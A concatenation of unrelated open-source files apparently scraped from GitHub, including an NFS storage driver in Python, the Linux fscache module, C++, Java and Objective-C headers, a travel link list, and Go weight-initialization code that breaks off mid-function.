// tabindex 0x1f6: 0x30f07, // isindex 0x1f7: 0x1a0e, // accept-charset 0x1f8: 0x2ae0e, // formnovalidate 0x1fb: 0x1c90e, // annotation-xml 0x1fc: 0x6e05, // embed 0x1fd: 0x21806, // script 0x1fe: 0xbb06, // dialog 0x1ff: 0x1d707, // command } const atomText = "abbradiogrouparamainavalueaccept-charsetbodyaccesskeygenobrb" + "asefontimeupdateviacacheightmlabelooptgroupatternoembedetail" + "sampictureversedfnoframesetdirnameterowspanomoduleacronymali" + "gnmarkbdialogallowpaymentrequestrikeytypeallowusermediagroup" + "ingaltfooterubyasyncanvasidefaultitleaudioncancelautofocusan" + "dboxmplaceholderautoplaysinlinebdoncanplaythrough1bgsoundisa" + "bledivarbigblinkindraggablegendblockquotebuttonabortcitempro" + "penoncecolgrouplaintextrackcolorcolspannotation-xmlcommandco" + "ntrolshapecoordslotranslatecrossoriginsmallowfullscreenoscri" + "ptfacenterfieldsetfigcaptionafterprintegrityfigurequiredfore" + "ignObjectforeignobjectformactionautocompleteerrorformenctype" + "mustmatchallengeformmethodformnovalidatetimeformtargethgroup" + "osterhiddenhigh2hreflanghttp-equivideonclickiframeimageimgly" + "ph3isindexismappletitemtypemarqueematheadersortedmaxlength4m" + "inlength5mtextareadonlymultiplemutedoncloseamlessourceoncont" + "extmenuitemidoncopyoncuechangeoncutondblclickondragendondrag" + "enterondragexitemreferrerpolicyondragleaveondragoverondragst" + "articleondropzonemptiedondurationchangeonendedonerroronfocus" + "paceronhashchangeoninputmodeloninvalidonkeydownloadonkeypres" + "spellcheckedonkeyupreloadonlanguagechangeonloadeddatalisting" + "onloadedmetadatabindexonloadendonloadstartonmessageerroronmo" + "usedownonmouseenteronmouseleaveonmousemoveonmouseoutputonmou" + "seoveronmouseupromptonmousewheelonofflineononlineonpagehides" + "classectionbluronpageshowbronpastepublicontenteditableonpaus" + "emaponplayingonpopstateonprogressrcdocodeferonratechangeonre" + "jectionhandledonresetonresizesrclangonscrollonsecuritypolicy" + "violationauxclickonseekedonseekingonselectedonshowidth6onsor" + "tableonstalledonstorageonsubmitemscopedonsuspendontoggleonun" + "handledrejectionbeforeprintonunloadonvolumechangeonwaitingon" + "wheeloptimumanifestrongoptionbeforeunloaddressrcsetstylesumm" + "arysupsvgsystemplateworkertypewrap"
{ "pile_set_name": "Github" }
#!/usr/bin/python # Licensed to the Apache Software Foundation (ASF) under one # or more contributor license agreements. See the NOTICE file # distributed with this work for additional information # regarding copyright ownership. The ASF licenses this file # to you under the Apache License, Version 2.0 (the # "License"); you may not use this file except in compliance # with the License. You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, # software distributed under the License is distributed on an # "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY # KIND, either express or implied. See the License for the # specific language governing permissions and limitations # under the License. # FileSR: local-file storage repository import SR, VDI, SRCommand, FileSR, util import errno import os, re, sys import xml.dom.minidom import xmlrpclib import xs_errors import nfs import vhdutil from lock import Lock import cleanup CAPABILITIES = ["SR_PROBE","SR_UPDATE", "SR_CACHING", "VDI_CREATE","VDI_DELETE","VDI_ATTACH","VDI_DETACH", "VDI_UPDATE", "VDI_CLONE","VDI_SNAPSHOT","VDI_RESIZE", "VDI_GENERATE_CONFIG", "VDI_RESET_ON_BOOT", "ATOMIC_PAUSE"] CONFIGURATION = [ [ 'server', 'hostname or IP address of NFS server (required)' ], \ [ 'serverpath', 'path on remote server (required)' ] ] DRIVER_INFO = { 'name': 'NFS VHD', 'description': 'SR plugin which stores disks as VHD files on a remote NFS filesystem', 'vendor': 'The Apache Software Foundation', 'copyright': 'Copyright (c) 2012 The Apache Software Foundation', 'driver_version': '1.0', 'required_api_version': '1.0', 'capabilities': CAPABILITIES, 'configuration': CONFIGURATION } DRIVER_CONFIG = {"ATTACH_FROM_CONFIG_WITH_TAPDISK": True} # The mountpoint for the directory when performing an sr_probe. All probes # are guaranteed to be serialised by xapi, so this single mountpoint is fine. PROBE_MOUNTPOINT = "probe" NFSPORT = 2049 DEFAULT_TRANSPORT = "tcp" class NFSSR(FileSR.FileSR): """NFS file-based storage repository""" def handles(type): return type == 'nfs' handles = staticmethod(handles) def load(self, sr_uuid): self.ops_exclusive = FileSR.OPS_EXCLUSIVE self.lock = Lock(vhdutil.LOCK_TYPE_SR, self.uuid) self.sr_vditype = SR.DEFAULT_TAP self.driver_config = DRIVER_CONFIG if not self.dconf.has_key('server'): raise xs_errors.XenError('ConfigServerMissing') self.remoteserver = self.dconf['server'] self.path = os.path.join(SR.MOUNT_BASE, sr_uuid) # Test for the optional 'nfsoptions' dconf attribute self.transport = DEFAULT_TRANSPORT if self.dconf.has_key('useUDP') and self.dconf['useUDP'] == 'true': self.transport = "udp" def validate_remotepath(self, scan): if not self.dconf.has_key('serverpath'): if scan: try: self.scan_exports(self.dconf['server']) except: pass raise xs_errors.XenError('ConfigServerPathMissing') if not self._isvalidpathstring(self.dconf['serverpath']): raise xs_errors.XenError('ConfigServerPathBad', \ opterr='serverpath is %s' % self.dconf['serverpath']) def check_server(self): try: nfs.check_server_tcp(self.remoteserver) except nfs.NfsException, exc: raise xs_errors.XenError('NFSVersion', opterr=exc.errstr) def mount(self, mountpoint, remotepath): try: nfs.soft_mount(mountpoint, self.remoteserver, remotepath, self.transport) except nfs.NfsException, exc: raise xs_errors.XenError('NFSMount', opterr=exc.errstr) def attach(self, sr_uuid): self.validate_remotepath(False) #self.remotepath = os.path.join(self.dconf['serverpath'], sr_uuid) self.remotepath = self.dconf['serverpath'] util._testHost(self.dconf['server'], NFSPORT, 'NFSTarget') self.mount_remotepath(sr_uuid) def mount_remotepath(self, sr_uuid): if not self._checkmount(): self.check_server() self.mount(self.path, self.remotepath) return super(NFSSR, self).attach(sr_uuid) def probe(self): # Verify NFS target and port util._testHost(self.dconf['server'], NFSPORT, 'NFSTarget') self.validate_remotepath(True) self.check_server() temppath = os.path.join(SR.MOUNT_BASE, PROBE_MOUNTPOINT) self.mount(temppath, self.dconf['serverpath']) try: return nfs.scan_srlist(temppath) finally: try: nfs.unmount(temppath, True) except: pass def detach(self, sr_uuid): """Detach the SR: Unmounts and removes the mountpoint""" if not self._checkmount(): return util.SMlog("Aborting GC/coalesce") cleanup.abort(self.uuid) # Change directory to avoid unmount conflicts os.chdir(SR.MOUNT_BASE) try: nfs.unmount(self.path, True) except nfs.NfsException, exc: raise xs_errors.XenError('NFSUnMount', opterr=exc.errstr) return super(NFSSR, self).detach(sr_uuid) def create(self, sr_uuid, size): util._testHost(self.dconf['server'], NFSPORT, 'NFSTarget') self.validate_remotepath(True) if self._checkmount(): raise xs_errors.XenError('NFSAttached') # Set the target path temporarily to the base dir # so that we can create the target SR directory self.remotepath = self.dconf['serverpath'] try: self.mount_remotepath(sr_uuid) except Exception, exn: try: os.rmdir(self.path) except: pass raise exn #newpath = os.path.join(self.path, sr_uuid) #if util.ioretry(lambda: util.pathexists(newpath)): # if len(util.ioretry(lambda: util.listdir(newpath))) != 0: # self.detach(sr_uuid) # raise xs_errors.XenError('SRExists') #else: # try: # util.ioretry(lambda: util.makedirs(newpath)) # except util.CommandException, inst: # if inst.code != errno.EEXIST: # self.detach(sr_uuid) # raise xs_errors.XenError('NFSCreate', # opterr='remote directory creation error is %d' # % inst.code) self.detach(sr_uuid) def delete(self, sr_uuid): # try to remove/delete non VDI contents first super(NFSSR, self).delete(sr_uuid) try: if self._checkmount(): self.detach(sr_uuid) # Set the target path temporarily to the base dir # so that we can remove the target SR directory self.remotepath = self.dconf['serverpath'] self.mount_remotepath(sr_uuid) newpath = os.path.join(self.path, sr_uuid) if util.ioretry(lambda: util.pathexists(newpath)): util.ioretry(lambda: os.rmdir(newpath)) self.detach(sr_uuid) except util.CommandException, inst: self.detach(sr_uuid) if inst.code != errno.ENOENT: raise xs_errors.XenError('NFSDelete') def vdi(self, uuid, loadLocked = False): if not loadLocked: return NFSFileVDI(self, uuid) return NFSFileVDI(self, uuid) def _checkmount(self): return util.ioretry(lambda: util.pathexists(self.path)) \ and util.ioretry(lambda: util.ismount(self.path)) def scan_exports(self, target): util.SMlog("scanning2 (target=%s)" % target) dom = nfs.scan_exports(target) print >>sys.stderr,dom.toprettyxml() class NFSFileVDI(FileSR.FileVDI): def attach(self, sr_uuid, vdi_uuid): if self.sr.srcmd.params.has_key("vdi_ref"): try: vdi_ref = self.sr.srcmd.params['vdi_ref'] self.session.xenapi.VDI.remove_from_xenstore_data(vdi_ref, \ "vdi-type") self.session.xenapi.VDI.remove_from_xenstore_data(vdi_ref, \ "storage-type") self.session.xenapi.VDI.add_to_xenstore_data(vdi_ref, \ "storage-type", "nfs") except: util.logException("NFSSR:attach") pass return super(NFSFileVDI, self).attach(sr_uuid, vdi_uuid) def generate_config(self, sr_uuid, vdi_uuid): util.SMlog("NFSFileVDI.generate_config") if not util.pathexists(self.path): raise xs_errors.XenError('VDIUnavailable') resp = {} resp['device_config'] = self.sr.dconf resp['sr_uuid'] = sr_uuid resp['vdi_uuid'] = vdi_uuid resp['command'] = 'vdi_attach_from_config' # Return the 'config' encoded within a normal XMLRPC response so that # we can use the regular response/error parsing code. config = xmlrpclib.dumps(tuple([resp]), "vdi_attach_from_config") return xmlrpclib.dumps((config,), "", True) def attach_from_config(self, sr_uuid, vdi_uuid): """Used for HA State-file only. Will not just attach the VDI but also start a tapdisk on the file""" util.SMlog("NFSFileVDI.attach_from_config") try: if not util.pathexists(self.sr.path): self.sr.attach(sr_uuid) except: util.logException("NFSFileVDI.attach_from_config") raise xs_errors.XenError('SRUnavailable', \ opterr='Unable to attach from config') if __name__ == '__main__': SRCommand.run(NFSSR, DRIVER_INFO) else: SR.registerSR(NFSSR)
{ "pile_set_name": "Github" }
// // Generated by class-dump 3.5 (64 bit) (Debug version compiled Sep 17 2017 16:24:48). // // class-dump is Copyright (C) 1997-1998, 2000-2001, 2004-2015 by Steve Nygard. // #import "GPUImageTwoInputFilter.h" @class GPUImageFramebuffer; @interface GPUImageThreeInputFilter : GPUImageTwoInputFilter { GPUImageFramebuffer *thirdInputFramebuffer; int filterThirdTextureCoordinateAttribute; int filterInputTextureUniform3; unsigned long long inputRotation3; unsigned int filterSourceTexture3; CDStruct_1b6d18a9 thirdFrameTime; _Bool hasSetSecondTexture; _Bool hasReceivedThirdFrame; _Bool thirdFrameWasVideo; _Bool thirdFrameCheckDisabled; } - (void).cxx_destruct; - (void)newFrameReadyAtTime:(CDStruct_1b6d18a9)arg1 atIndex:(long long)arg2; - (struct CGSize)rotatedSize:(struct CGSize)arg1 forIndex:(long long)arg2; - (void)setInputRotation:(unsigned long long)arg1 atIndex:(long long)arg2; - (void)setInputSize:(struct CGSize)arg1 atIndex:(long long)arg2; - (void)setInputFramebuffer:(id)arg1 atIndex:(long long)arg2; - (long long)nextAvailableTextureIndex; - (void)renderToTextureWithVertices:(const float *)arg1 textureCoordinates:(const float *)arg2; - (void)disableThirdFrameCheck; - (void)initializeAttributes; - (id)initWithVertexShaderFromString:(id)arg1 fragmentShaderFromString:(id)arg2; - (id)initWithFragmentShaderFromString:(id)arg1; @end
{ "pile_set_name": "Github" }
# [Stockholm](http://en.wikipedia.org/wiki/Stockholm) ## Transport ## Accommodation * [Nordic Light Hotel](http://www.nordiclighthotel.se/en/) * [Yasuragi](http://www.yasuragi.se) ## Dining ### Budget ### Good * [B.A.R.](http://restaurangbar.se/en/) * [Vigårda](http://vigarda.se) ### Fine * [Frantzén/Lindeberg](http://www.frantzen-lindeberg.com/) * [Mathias Dahlgren](http://www.mdghs.com/index.php?lang=En) ## Drinking * [Akkurat](http://www.akkurat.se) ## Activities ## Photos
{ "pile_set_name": "Github" }
/** * @file * * @brief Header for logchange plugin * * @copyright BSD License (see LICENSE.md or https://www.libelektra.org) * */ #ifndef ELEKTRA_PLUGIN_LOGCHANGE_H #define ELEKTRA_PLUGIN_LOGCHANGE_H #include <kdbplugin.h> int elektraLogchangeGet (Plugin * handle, KeySet * ks, Key * parentKey); int elektraLogchangeSet (Plugin * handle, KeySet * ks, Key * parentKey); int elektraLogchangeClose (Plugin * handle, Key * parentKey); Plugin * ELEKTRA_PLUGIN_EXPORT; #endif
{ "pile_set_name": "Github" }
/** * @file MetaParametersRBFN.hpp * @brief MetaParametersRBFN class header file. * @author Freek Stulp * * This file is part of DmpBbo, a set of libraries and programs for the * black-box optimization of dynamical movement primitives. * Copyright (C) 2014 Freek Stulp, ENSTA-ParisTech * * DmpBbo is free software: you can redistribute it and/or modify * it under the terms of the GNU Lesser General Public License as published by * the Free Software Foundation, either version 2 of the License, or * (at your option) any later version. * * DmpBbo is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public License * along with DmpBbo. If not, see <http://www.gnu.org/licenses/>. */ #ifndef METAPARAMETERSRBFN_H #define METAPARAMETERSRBFN_H #include "functionapproximators/MetaParameters.hpp" #include "dmpbbo_io/EigenBoostSerialization.hpp" #include <iosfwd> #include <vector> #include <eigen3/Eigen/Core> #include <boost/serialization/access.hpp> #include <boost/serialization/nvp.hpp> #include <boost/serialization/vector.hpp> namespace DmpBbo { /** \brief Meta-parameters for the Radial Basis Function Network (RBFN) function approximator * \ingroup FunctionApproximators * \ingroup RBFN */ class MetaParametersRBFN : public MetaParameters { public: /** Constructor for the algorithmic meta-parameters of the RBFN function approximator. * \param[in] expected_input_dim The dimensionality of the data this function approximator expects. Although this information is already contained in the 'centers_per_dim' argument, we ask the user to pass it explicitly so that various checks on the arguments may be conducted. * \param[in] centers_per_dim Centers of the basis functions, one VectorXd for each dimension. * \param[in] intersection_height The value at which two neighbouring basis functions will intersect. * \param[in] regularization Regularization parameter */ MetaParametersRBFN(int expected_input_dim, const std::vector<Eigen::VectorXd>& centers_per_dim, double intersection_height=0.5, double regularization=0.0); /** Constructor for the algorithmic meta-parameters of the RBFN function approximator. * \param[in] expected_input_dim The dimensionality of the data this function approximator expects. Although this information is already contained in the 'centers' argument, we ask the user to pass it explicitly so that various checks on the arguments may be conducted. * \param[in] n_basis_functions_per_dim Number of basis functions * \param[in] intersection_height The value at which two neighbouring basis functions will intersect. * \param[in] regularization Regularization parameter * * The centers and widths of the basis functions are determined from these parameters once the * range of the input data is known, see also setInputMinMax() */ MetaParametersRBFN(int expected_input_dim, const Eigen::VectorXi& n_basis_functions_per_dim, double intersection_height=0.5, double regularization=0.0); /** Constructor for the algorithmic meta-parameters of the RBFN function approximator. * This is for the special case when the dimensionality of the input data is 1. * \param[in] expected_input_dim The dimensionality of the data this function approximator expects. Since this constructor is for 1-D input data only, we simply check if this argument is equal to 1. * \param[in] n_basis_functions Number of basis functions for the one dimension * \param[in] intersection_height The value at which two neighbouring basis functions will intersect. * \param[in] regularization Regularization parameter * * The centers and widths of the basis functions are determined from these parameters once the * range of the input data is known, see also setInputMinMax() */ MetaParametersRBFN(int expected_input_dim, int n_basis_functions=10, double intersection_height=0.5, double regularization=0.0); /** Accessor function for regularization. * \return Regularization parameter. */ double regularization(void) const { return regularization_; } /** Get the centers and widths of the basis functions. * \param[in] min Minimum values of input data (one value for each dimension). * \param[in] max Maximum values of input data (one value for each dimension). * \param[out] centers Centers of the basis functions (matrix of size n_basis_functions X n_input_dims * \param[out] widths Widths of the basis functions (matrix of size n_basis_functions X n_input_dims * * The reason why there are not two functions getCenters and getWidths is that it is much easier * to compute both at the same time, and usually you will need both at the same time anyway. */ void getCentersAndWidths(const Eigen::VectorXd& min, const Eigen::VectorXd& max, Eigen::MatrixXd& centers, Eigen::MatrixXd& widths) const; MetaParametersRBFN* clone(void) const; std::string toString(void) const; private: Eigen::VectorXi n_bfs_per_dim_; // should be const std::vector<Eigen::VectorXd> centers_per_dim_; // should be const double intersection_height_; // should be const double regularization_; // should be const /** * Default constructor. * \remarks This default constuctor is required for boost::serialization to work. Since this * constructor should not be called by other classes, it is private (boost::serialization is a * friend) */ MetaParametersRBFN(void) {}; /** Give boost serialization access to private members. */ friend class boost::serialization::access; /** Serialize class data members to boost archive. * \param[in] ar Boost archive * \param[in] version Version of the class */ template<class Archive> void serialize(Archive & ar, const unsigned int version) { ar & BOOST_SERIALIZATION_BASE_OBJECT_NVP(MetaParameters); ar & BOOST_SERIALIZATION_NVP(n_bfs_per_dim_); ar & BOOST_SERIALIZATION_NVP(centers_per_dim_); ar & BOOST_SERIALIZATION_NVP(intersection_height_); ar & BOOST_SERIALIZATION_NVP(regularization_); } }; } #endif // #ifndef METAPARAMETERSRBFN_H
{ "pile_set_name": "Github" }
version https://git-lfs.github.com/spec/v1 oid sha256:0c5ca8b316b194b89ce146c1cd69a23083fd459935e32a521e9a4c6504de927e size 8303
{ "pile_set_name": "Github" }
package net.osmand.plus.base.bottomsheetmenu; import android.content.Context; import android.graphics.drawable.Drawable; import android.view.View; import android.view.ViewGroup; import android.widget.LinearLayout; import androidx.annotation.ColorRes; import androidx.annotation.LayoutRes; import static android.view.ViewGroup.LayoutParams.WRAP_CONTENT; public class BottomSheetItemWithDescriptionDifHeight extends BottomSheetItemWithDescription { private int minHeight; public BottomSheetItemWithDescriptionDifHeight(View customView, @LayoutRes int layoutId, Object tag, boolean disabled, View.OnClickListener onClickListener, int position, Drawable icon, Drawable background, CharSequence title, @ColorRes int titleColorId, boolean iconHidden, CharSequence description, @ColorRes int descriptionColorId, int descriptionMaxLines, boolean descriptionLinksClickable, int minHeight) { super(customView, layoutId, tag, disabled, onClickListener, position, icon, background, title, titleColorId, iconHidden, description, descriptionColorId, descriptionMaxLines, descriptionLinksClickable); this.minHeight = minHeight; } @Override public void inflate(Context context, ViewGroup container, boolean nightMode) { super.inflate(context, container, nightMode); if (minHeight != INVALID_VALUE) { LinearLayout.LayoutParams params = (LinearLayout.LayoutParams) view.getLayoutParams(); params.height = WRAP_CONTENT; view.setMinimumHeight(minHeight); } } public static class Builder extends BottomSheetItemWithDescription.Builder { int minHeight = INVALID_VALUE; public Builder setMinHeight(int minHeight) { this.minHeight = minHeight; return this; } public BottomSheetItemWithDescriptionDifHeight create() { return new BottomSheetItemWithDescriptionDifHeight(customView, layoutId, tag, disabled, onClickListener, position, icon, background, title, titleColorId, iconHidden, description, descriptionColorId, descriptionMaxLines, descriptionLinksClickable, minHeight); } } }
{ "pile_set_name": "Github" }
/* General filesystem local caching manager * * Copyright (C) 2004-2007 Red Hat, Inc. All Rights Reserved. * Written by David Howells ([email protected]) * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version * 2 of the License, or (at your option) any later version. */ #define FSCACHE_DEBUG_LEVEL CACHE #include <linux/module.h> #include <linux/init.h> #include <linux/sched.h> #include <linux/completion.h> #include <linux/slab.h> #include <linux/seq_file.h> #include "internal.h" MODULE_DESCRIPTION("FS Cache Manager"); MODULE_AUTHOR("Red Hat, Inc."); MODULE_LICENSE("GPL"); unsigned fscache_defer_lookup = 1; module_param_named(defer_lookup, fscache_defer_lookup, uint, S_IWUSR | S_IRUGO); MODULE_PARM_DESC(fscache_defer_lookup, "Defer cookie lookup to background thread"); unsigned fscache_defer_create = 1; module_param_named(defer_create, fscache_defer_create, uint, S_IWUSR | S_IRUGO); MODULE_PARM_DESC(fscache_defer_create, "Defer cookie creation to background thread"); unsigned fscache_debug; module_param_named(debug, fscache_debug, uint, S_IWUSR | S_IRUGO); MODULE_PARM_DESC(fscache_debug, "FS-Cache debugging mask"); struct kobject *fscache_root; struct workqueue_struct *fscache_object_wq; struct workqueue_struct *fscache_op_wq; DEFINE_PER_CPU(wait_queue_head_t, fscache_object_cong_wait); /* these values serve as lower bounds, will be adjusted in fscache_init() */ static unsigned fscache_object_max_active = 4; static unsigned fscache_op_max_active = 2; #ifdef CONFIG_SYSCTL static struct ctl_table_header *fscache_sysctl_header; static int fscache_max_active_sysctl(struct ctl_table *table, int write, void __user *buffer, size_t *lenp, loff_t *ppos) { struct workqueue_struct **wqp = table->extra1; unsigned int *datap = table->data; int ret; ret = proc_dointvec(table, write, buffer, lenp, ppos); if (ret == 0) workqueue_set_max_active(*wqp, *datap); return ret; } ctl_table fscache_sysctls[] = { { .procname = "object_max_active", .data = &fscache_object_max_active, .maxlen = sizeof(unsigned), .mode = 0644, .proc_handler = fscache_max_active_sysctl, .extra1 = &fscache_object_wq, }, { .procname = "operation_max_active", .data = &fscache_op_max_active, .maxlen = sizeof(unsigned), .mode = 0644, .proc_handler = fscache_max_active_sysctl, .extra1 = &fscache_op_wq, }, {} }; ctl_table fscache_sysctls_root[] = { { .procname = "fscache", .mode = 0555, .child = fscache_sysctls, }, {} }; #endif /* * initialise the fs caching module */ static int __init fscache_init(void) { unsigned int nr_cpus = num_possible_cpus(); unsigned int cpu; int ret; fscache_object_max_active = clamp_val(nr_cpus, fscache_object_max_active, WQ_UNBOUND_MAX_ACTIVE); ret = -ENOMEM; fscache_object_wq = alloc_workqueue("fscache_object", WQ_UNBOUND, fscache_object_max_active); if (!fscache_object_wq) goto error_object_wq; fscache_op_max_active = clamp_val(fscache_object_max_active / 2, fscache_op_max_active, WQ_UNBOUND_MAX_ACTIVE); ret = -ENOMEM; fscache_op_wq = alloc_workqueue("fscache_operation", WQ_UNBOUND, fscache_op_max_active); if (!fscache_op_wq) goto error_op_wq; for_each_possible_cpu(cpu) init_waitqueue_head(&per_cpu(fscache_object_cong_wait, cpu)); ret = fscache_proc_init(); if (ret < 0) goto error_proc; #ifdef CONFIG_SYSCTL ret = -ENOMEM; fscache_sysctl_header = register_sysctl_table(fscache_sysctls_root); if (!fscache_sysctl_header) goto error_sysctl; #endif fscache_cookie_jar = kmem_cache_create("fscache_cookie_jar", sizeof(struct fscache_cookie), 0, 0, fscache_cookie_init_once); if (!fscache_cookie_jar) { printk(KERN_NOTICE "FS-Cache: Failed to allocate a cookie jar\n"); ret = -ENOMEM; goto error_cookie_jar; } fscache_root = kobject_create_and_add("fscache", kernel_kobj); if (!fscache_root) goto error_kobj; printk(KERN_NOTICE "FS-Cache: Loaded\n"); return 0; error_kobj: kmem_cache_destroy(fscache_cookie_jar); error_cookie_jar: #ifdef CONFIG_SYSCTL unregister_sysctl_table(fscache_sysctl_header); error_sysctl: #endif fscache_proc_cleanup(); error_proc: destroy_workqueue(fscache_op_wq); error_op_wq: destroy_workqueue(fscache_object_wq); error_object_wq: return ret; } fs_initcall(fscache_init); /* * clean up on module removal */ static void __exit fscache_exit(void) { _enter(""); kobject_put(fscache_root); kmem_cache_destroy(fscache_cookie_jar); #ifdef CONFIG_SYSCTL unregister_sysctl_table(fscache_sysctl_header); #endif fscache_proc_cleanup(); destroy_workqueue(fscache_op_wq); destroy_workqueue(fscache_object_wq); printk(KERN_NOTICE "FS-Cache: Unloaded\n"); } module_exit(fscache_exit); /* * wait_on_bit() sleep function for uninterruptible waiting */ int fscache_wait_bit(void *flags) { schedule(); return 0; } EXPORT_SYMBOL(fscache_wait_bit); /* * wait_on_bit() sleep function for interruptible waiting */ int fscache_wait_bit_interruptible(void *flags) { schedule(); return signal_pending(current); } EXPORT_SYMBOL(fscache_wait_bit_interruptible);
{ "pile_set_name": "Github" }
package gorgonia import ( "math" "reflect" "time" rng "github.com/leesper/go_rng" "github.com/pkg/errors" "gorgonia.org/tensor" ) // This file provides several weight initialization utility functions. // It uses the rng package by leesper // InitWFn is a type of helper function to help initialize weights vector/matrices. // It generates the backing required for the tensors. // // It's typically used in closures type InitWFn func(dt tensor.Dtype, s ...int) interface{} // Zeroes creates an InitWfn that populates a Value with... zeroes. I don't know what you expected. func Zeroes() InitWFn { f := func(dt tensor.Dtype, s ...int) interface{} { size := tensor.Shape(s).TotalSize() switch dt { case tensor.Float64: return make([]float64, size) case tensor.Float32: return make([]float32, size) case tensor.Int: return make([]int, size) default: return reflect.MakeSlice(reflect.SliceOf(dt.Type), size, size).Interface() } } return f } // Ones creates an InitWfn that populates a Value with ones. See Zeroes() for more explanation. func Ones() InitWFn { return func(dt tensor.Dtype, s ...int) interface{} { return ones(dt, s...).Data() } } // RangedFrom creates an InitWFn that populates a Value starting with the provided start, increamenting the number for each element in the value by 1 func RangedFrom(start int) InitWFn { f := func(dt tensor.Dtype, s ...int) interface{} { size := tensor.Shape(s).TotalSize() return tensor.Range(dt, start, start+size) } return f } // ValuesOf creates an InitWrn that populates a value with val. This function will cause a panic if val's type is incompatible with the values type. func ValuesOf(val interface{}) InitWFn { f := func(dt tensor.Dtype, s ...int) interface{} { size := tensor.Shape(s).TotalSize() switch dt { case tensor.Float64: v := val.(float64) retVal := make([]float64, size) for i := range retVal { retVal[i] = v } return retVal case tensor.Float32: v := val.(float32) retVal := make([]float32, size) for i := range retVal { retVal[i] = v } return retVal case tensor.Int: v := val.(int) retVal := make([]int, size) for i := range retVal { retVal[i] = v } return retVal default: err := errors.Errorf(nyiTypeFail, "Zeroes", dt) panic(err) } } return f } // Gaussian creates a InitWFn with the specified parameters. // Example Usage: // w := NewMatrix(g, Float64, WithName("w"), WithShape(2,2), WithInit(Gaussian(0, 1))) // This will create a backing slice of []float64, with the length of 4, and its values are drawn from a gaussian distro func Gaussian(mean, stdev float64) InitWFn { f := func(dt tensor.Dtype, s ...int) interface{} { switch dt { case tensor.Float64: return Gaussian64(mean, stdev, s...) case tensor.Float32: return Gaussian32(mean, stdev, s...) default: err := errors.Errorf(nyiTypeFail, "Gaussian init", dt) panic(err) } } return f } // Uniform creates a InitWFn with the specified parameters. // Example Usage: // w := NewMatrix(g, Float64, WithName("w"), WithShape(2,2), WithInit(Uniform(-1, 1))) // This will create a backing slice of []float64, with the length of 4, and its values are drawn from a uniform distro func Uniform(low, high float64) InitWFn { f := func(dt tensor.Dtype, s ...int) interface{} { switch dt { case tensor.Float64: return Uniform64(low, high, s...) case tensor.Float32: return Uniform32(low, high, s...) default: err := errors.Errorf(nyiTypeFail, "Uniform init", dt) panic(err) } } return f } // GlorotN creates a InitWFn that populates a Value with weights normally sampled using Glorot et al.'s algorithm func GlorotN(gain float64) InitWFn { f := func(dt tensor.Dtype, s ...int) interface{} { switch dt { case tensor.Float64: return GlorotEtAlN64(gain, s...) case tensor.Float32: return GlorotEtAlN32(gain, s...) default: err := errors.Errorf(nyiTypeFail, "GlorotN", dt) panic(err) } } return f } // GlorotU creates a InitWFn that populates a Value with weights uniformly sampled using Glorot et al.'s algorithm func GlorotU(gain float64) InitWFn { f := func(dt tensor.Dtype, s ...int) interface{} { switch dt { case tensor.Float64: return GlorotEtAlU64(gain, s...) case tensor.Float32: return GlorotEtAlU32(gain, s...) default: err := errors.Errorf(nyiTypeFail, "GlorotU", dt) panic(err) } } return f } func HeN(gain float64) InitWFn { f := func(dt tensor.Dtype, s ...int) interface{} { switch dt { case tensor.Float64: return HeEtAlN64(gain, s...) default: err := errors.Errorf(nyiTypeFail, "HeNormal", dt) panic(err) } } return f } func HeU(gain float64) InitWFn { f := func(dt tensor.Dtype, s ...int) interface{} { switch dt { case tensor.Float64: return HeEtAlU64(gain, s...) default: err := errors.Errorf(nyiTypeFail, "HeUniform", dt) panic(err) } } return f } // Gaussian64 returns a []float64 drawn from a gaussian distribution as defined by the mean and stdev func Gaussian64(mean, stdev float64, s ...int) []float64 { size := tensor.Shape(s).TotalSize() rand := rng.NewGaussianGenerator(time.Now().UnixNano()) retVal := make([]float64, size) for i := range retVal { retVal[i] = rand.Gaussian(mean, stdev) } return retVal } // Gaussian32 returns a []float32 drawn from a gaussian distribution as defined by the mean and stdev func Gaussian32(mean, stdev float64, s ...int) []float32 { size := tensor.Shape(s).TotalSize() rand := rng.NewGaussianGenerator(time.Now().UnixNano()) retVal := make([]float32, size) for i := range retVal { retVal[i] = float32(rand.Gaussian(mean, stdev)) } return retVal } // Uniform64 returns a []float64 drawn from a uniform distribution between [low, high) that is provided func Uniform64(low, high float64, s ...int) []float64 { size := tensor.Shape(s).TotalSize() rand := rng.NewUniformGenerator(time.Now().UnixNano()) retVal := make([]float64, size) for i := range retVal { retVal[i] = rand.Float64Range(low, high) } return retVal } // Uniform32 returns a []float64 drawn from a uniform distribution between [low, high) that is provided func Uniform32(low, high float64, s ...int) []float32 { size := tensor.Shape(s).TotalSize() l := float32(low) h := float32(high) rand := rng.NewUniformGenerator(time.Now().UnixNano()) retVal := make([]float32, size) for i := range retVal { retVal[i] = rand.Float32Range(l, h) } return retVal } // Binomial64 returns a []float64 drawn from a binomial distribution given the trial and probability parameters. func Binomial64(trials, prob float64, s ...int) []float64 { size := tensor.Shape(s).TotalSize() t := int64(trials) rand := rng.NewBinomialGenerator(time.Now().UnixNano()) retVal := make([]float64, size) for i := range retVal { retVal[i] = float64(rand.Binomial(t, prob)) } return retVal } // Binomial32 returns a []float32 drawn from a binomial distribution given the trial and probability parameters. func Binomial32(trials, prob float64, s ...int) []float32 { size := tensor.Shape(s).TotalSize() t := int64(trials) rand := rng.NewBinomialGenerator(time.Now().UnixNano()) retVal := make([]float32, size) for i := range retVal { retVal[i] = float32(rand.Binomial(t, prob)) } return retVal } /* SOPHISTICATED INITIALIZATION STRATEGIES */ // GlorotEtAlN64 returns float64 weights sampled from a normal distribution // using the methods specified in Glorot et. al (2010). // See also: http://jmlr.org/proceedings/papers/v9/glorot10a/glorot10a.pdf func GlorotEtAlN64(gain float64, s ...int) []float64 { var n1, n2 int fieldSize := 1 switch len(s) { case 0: panic("Glorot Uniform only works with Tensors of dimensions >= 1") case 1: // treat it as a col vec n1 = 1 n2 = s[0] default: n1, n2 = s[0], s[1] for _, v := range s[2:] { fieldSize *= v } } size := tensor.Shape(s).TotalSize() fanIn := float64((n1 + n2) * fieldSize) stdev := gain * 